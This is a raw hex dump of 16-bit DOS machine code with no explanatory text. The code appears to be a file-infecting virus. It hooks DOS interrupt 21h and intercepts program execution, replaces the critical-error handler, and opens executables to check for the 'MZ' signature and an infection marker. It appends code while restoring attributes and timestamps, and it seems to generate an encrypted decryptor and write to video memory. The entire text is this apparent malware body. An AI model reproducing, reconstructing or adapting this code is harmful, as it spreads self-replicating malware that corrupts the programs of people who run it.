2061:1000  81 00 8A 77 05 89 16 2C-00 8B 47 06 8B C8 BE 06   ...w...,..G.....
2061:1010  00 25 3F 00 3B C6 76 6B-2B CE 89 4F 06 41 89 0E   .%?.;.vk+..O.A..
2061:1020  2A 00 29 77 0C 83 5F 0E-00 8B EB B8 01 03 BB 69   *.)w.._........i
2061:1030  08 9C FF 1E 63 08 72 4B-B8 05 03 BB 00 00 41 9C   ....c.rK......A.
2061:1040  FF 1E 63 08 72 3D BE 00-00 BF 69 08 B9 42 00 FC   ..c.r=....i..B..
2061:1050  F3 A4 B8 01 03 BB 69 08-B9 01 00 32 F6 9C FF 1E   ......i....2....
2061:1060  63 08 72 1F B8 01 02 3E-8B 4E 02 3E 8A 76 01 9C   c.r....>.N.>.v..
2061:1070  FF 1E 63 08 72 0D 83 6F-13 06 90 B8 01 03 9C FF   ..c.r..o........
2061:1080  1E 63 08 C3 B8 21 35 CD-21 89 1E DB 00 8C 06 DD   .c...!5.!.......
2061:1090  00 89 1E 63 08 8C 06 65-08 C7 06 7D 03 20 03 B4   ...c...e...}. ..
2061:10A0  30 E8 09 00 B8 21 25 BA-73 04 CD 21 C3 50 53 52   0....!%.s..!.PSR
2061:10B0  06 B8 01 35 CD 21 8B F3-8C C7 B8 01 25 BA 77 03   ...5.!......%.w.
2061:10C0  CD 21 9C 58 0D 00 01 50-9D 07 5A 5B 58 FA 9C FF   .!.X...P..Z[X...
2061:10D0  1E 63 08 50 52 1E 9C 58-25 FF FE 50 9D B8 01 25   .c.PR..X%..P...%
2061:10E0  8B D6 8E DF CD 21 1F 5A-58 C3 55 8B EC 81 7E 04   .....!.ZX.U...~.
2061:10F0  00 01 77 15 50 06 C4 46-02 2E A3 63 08 2E 8C 06   ..w.P..F...c....
2061:1100  65 08 07 58 81 66 06 FF-FE 5D CF 06 53 50 33 C0   e..X.f...]..SP3.
```

```
2061:1110  8E C0 26 C4 1E 84 00 8C-C0 2E 3B 06 65 08 75 07   ..&.......;.e.u.
2061:1120  2E 3B 1E 63 08 74 2F 1E-0E 1F 89 1E DB 00 8C 06   .;.c.t/.........
2061:1130  DD 00 89 1E 63 08 8C 06-65 08 33 C0 8E D8 C7 06   ....c...e.3.....
2061:1140  84 00 73 04 8C 0E 86 00-2E C4 1E D7 00 89 1E 70   ..s............p
2061:1150  00 8C 06 72 00 1F 58 5B-07 CF 9C 0A E4 75 35 50   ...r..X[.....u5P
2061:1160  52 1E 0E 1F 24 7F 3C 03-77 14 3C 02 72 10 C7 06   R...$.<.w.<.r...
2061:1170  EA 00 00 00 B8 1C 25 BA-27 04 CD 21 EB 13 B8 1C   ......%.'..!....
2061:1180  25 BA 20 08 CD 21 BA D4-03 B8 0C 00 EF B8 0D 00   %. ..!..........
2061:1190  EF 1F 5A 58 9D 2E FF 2E-D3 00 1E 06 56 57 50 51   ..ZX........VWPQ
2061:11A0  52 BA D4 03 B8 0C 10 EF-B8 0D 00 EF B8 00 B8 8E   R...............
2061:11B0  D8 B8 00 BA 8E C0 2E 8B-36 EA 00 BF 9E 0F 2B FE   ........6.....+.
2061:11C0  FC B9 F4 01 AD 26 89 05-83 EF 02 E2 F7 2E 89 36   .....&.........6
2061:11D0  EA 00 81 FE A0 0F 72 06-33 C0 2E A3 EA 00 5A 59   ......r.3.....ZY
2061:11E0  58 5F 5E 07 1F CF 9C 3D-21 25 75 0C 2E 89 16 DB   X_^....=!%u.....
2061:11F0  00 2E 8C 1E DD 00 EB 5E-3D 21 35 75 07 2E C4 1E   .......^=!5u....
2061:1200  DB 00 EB 52 80 FC 4B 75-2E 0A C0 75 24 50 2E 89   ...R..Ku...u$P..
2061:1210  26 C8 00 2E 8C 16 CA 00-FA 8C C8 8E D0 BC 69 0A   &.............i.
2061:1220  FB E8 62 00 FA 2E 8E 16-CA 00 2E 8B 26 C8 00 FB   ..b.........&...
2061:1230  58 9D 2E FF 2E 63 08 3D-01 FE 75 04 F7 D0 EB 16   X....c.=..u.....
2061:1240  2E 80 3E E9 00 01 74 03-E8 C4 FC 2E FF 06 E7 00   ..>...t.........
2061:1250  9D 2E FF 2E DB 00 9D CF-B0 03 CF B4 40 EB 02 B4   ............@...
2061:1260  3F E8 15 00 72 02 2B C1-C3 33 C9 33 D2 B8 02 42   ?...r.+..3.3...B
2061:1270  EB 07 33 C9 33 D2 B8 00-42 2E 8B 1E 61 08 FA 9C   ..3.3...B...a...
2061:1280  2E FF 1E 63 08 C3 53 51-56 57 06 52 1E 0E 1F B8   ...c..SQVW.R....
2061:1290  00 33 E8 E9 FF 88 16 CC-00 B8 01 33 33 D2 E8 DD   .3.........33...
2061:12A0  FF B8 24 35 E8 D7 FF 89-1E DF 00 8C 06 E1 00 B8   ..$5............
2061:12B0  24 25 BA E5 04 E8 C6 FF-1F 5A 52 1E B8 00 43 E8   $%.......ZR...C.
2061:12C0  BC FF 2E 89 0E CD 00 B8-01 43 33 C9 E8 AF FF 72   .........C3....r
2061:12D0  7D B8 02 3D E8 A7 FF 72-6A 0E 1F A3 61 08 B8 00   }..=...rj...a...
2061:12E0  57 E8 95 FF 72 46 89 16-CF 00 89 0E D1 00 BA B8   W...rF..........
2061:12F0  FF B9 FF FF E8 76 FF 72-33 BA 69 08 B9 02 00 E8   .....v.r3.i.....
2061:1300  5D FF 72 28 81 3E 69 08-0E BB 74 20 E8 63 FF 72   ].r(.>i...t .c.r
2061:1310  1B BA 69 08 B9 1C 00 E8-45 FF 72 10 81 3E 69 08   ..i.....E.r..>i.
2061:1320  4D 5A 74 05 E8 45 00 EB-03 E8 A0 00 B8 01 57 8B   MZt..E........W.
2061:1330  16 CF 00 8B 0E D1 00 E8-3F FF B4 3E E8 3A FF 1F   ........?..>.:..
2061:1340  5A 52 1E B8 01 43 2E 8B-0E CD 00 E8 30 FF B8 24   ZR...C......0..$
2061:1350  25 2E C5 16 DF 00 E8 25-FF B8 01 33 2E 8A 16 CC   %......%...3....
2061:1360  00 E8 1A FF 1F 5A 07 5F-5E 59 5B C3 E8 FA FE 72   .....Z._^Y[....r
2061:1370  5A 0B D2 75 56 3D 46 F6-73 51 8B F0 C6 06 BE 00   Z..uV=F.sQ......
2061:1380  00 C7 06 C2 00 00 01 C7-06 C4 00 00 00 C7 06 C6   ................
2061:1390  00 00 00 A1 69 08 A3 BF-00 A0 6B 08 A2 C1 00 FF   ....i.....k.....
2061:13A0  06 67 08 56 8B DE 81 C3-00 01 E8 E3 00 5E 72 1B   .g.V.........^r.
2061:13B0  E8 BF FE 72 16 C6 06 69-08 E9 81 C6 1E 08 89 36   ...r...i.......6
2061:13C0  6A 08 BA 69 08 B9 03 00-E8 90 FE C3 E8 9A FE 72   j..i...........r
2061:13D0  FA 8B F0 8B FA 8B D8 8B-CA A1 6D 08 F7 26 E5 00   ..........m..&..
2061:13E0  2B C3 1B D1 72 E5 A1 77-08 F7 26 E3 00 03 06 79   +...r..w..&....y
2061:13F0  08 8B CA 8B D8 A1 71 08-F7 26 E3 00 2B F0 1B FA   ......q..&..+...
2061:1400  A1 77 08 05 10 00 A3 C6-00 8B C3 8B D1 2B DE 1B   .w...........+..
2061:1410  CF 72 16 56 57 83 C6 50-83 D7 00 2B C6 1B D7 5F   .r.VW..P...+..._
2061:1420  5E 72 6C 81 06 77 08 87-00 C6 06 BE 00 01 A1 7F   ^rl..w..........
2061:1430  08 05 10 00 A3 C4 00 A1-7D 08 A3 C2 00 FF 06 67   ........}......g
2061:1440  08 E8 25 FE 72 49 8B D8-8B CA 81 C3 69 08 83 D1   ..%.rI......i...
2061:1450  00 8B D7 8B C6 F7 36 E3-00 A3 7F 08 53 51 52 8B   ......6.....SQR.
2061:1460  DA E8 2C 00 5A 59 5B 72-26 81 C2 21 08 89 16 7D   ..,.ZY[r&..!...}
2061:1470  08 8B C3 8B D1 F7 36 E5-00 40 A3 6D 08 89 16 6B   ......6..@.m...k
2061:1480  08 E8 EE FD 72 09 B9 1C-00 BA 69 08 E8 CC FD C3   ....r.....i.....
2061:1490  32 E4 CD 1A 8B C2 03 C1-1E 07 BF 21 08 8B F7 B9   2..........!....
2061:14A0  20 00 FC F3 AB FA C6 04-0E 46 C6 04 BB 46 2B 1E    ........F...F+.
```

```
2061:14B0  E7 00 89 1C 46 46 C6 04-1F 46 C6 04 B9 46 B8 21   ....FF...F...F.!
2061:14C0  08 2B C2 89 04 46 46 B0-B2 8A 26 E7 00 32 E6 89   .+...FF...&..2..
2061:14D0  04 46 46 C7 04 81 C1 46-46 89 14 46 46 83 E2 0F   .FF....FF..FF...
2061:14E0  C6 04 EB 46 88 14 46 03-F2 8B DE C7 04 00 97 46   ...F..F........F
2061:14F0  46 A1 E7 00 89 04 46 46-C6 04 43 46 C6 04 EB 46   F.....FF..CF...F
2061:1500  8B 16 67 08 83 E2 0F 88-14 46 03 F2 C6 04 E2 2B   ..g......F.....+
2061:1510  DE 83 EB 02 46 88 1C 46-C6 04 E9 BF 10 01 2B FE   ....F..F......+.
2061:1520  83 EF 03 46 89 3C FB BE-EA 07 BF 85 08 57 B9 37   ...F.<.......W.7
2061:1530  00 FC F3 A4 B8 1C 35 E8-44 FD 89 1E D7 00 8C 06   ......5.D.......
2061:1540  D9 00 B8 1C 25 BA BB 08-E8 33 FD 58 FF D0 9C 1E   ....%....3.X....
2061:1550  B8 1C 25 C5 16 D7 00 E8-24 FD 1F 9D C3 BE 00 00   ..%.....$.......
2061:1560  B9 21 08 8A 16 2A 08 28-14 46 E2 FB B4 40 8B 1E   .!...*.(.F...@..
2061:1570  61 08 BA 00 00 B9 69 08-9C FF 1E 63 08 72 02 2B   a.....i....c.r.+
2061:1580  C1 9C BE 00 00 B9 21 08-8A 16 2A 08 00 14 46 E2   ......!...*...F.
2061:1590  FB 9D C3 CF 0E BB BA 3F-1F B9 47 7D B2 33 81 C1   .......?..G}.3..
2061:15A0  DA 8A EB 0A EB 8A EB 8A-EB 8A EB 8A EB 8A 00 97   ................
2061:15B0  B9 CD 43 EB 08 8A EB 8A-EB 8A EB 8A EB E2 EF E9   ..C.............
2061:15C0  C1 F8 EB 8A EB 8A EB 8A-EB 8A EB 8A EB 8A EB 8A   ................
2061:15D0  EB 8A EB 8A 05 00 6C 14-75 02 38 00 F8 26 88 0E   ......l.u.8..&..
```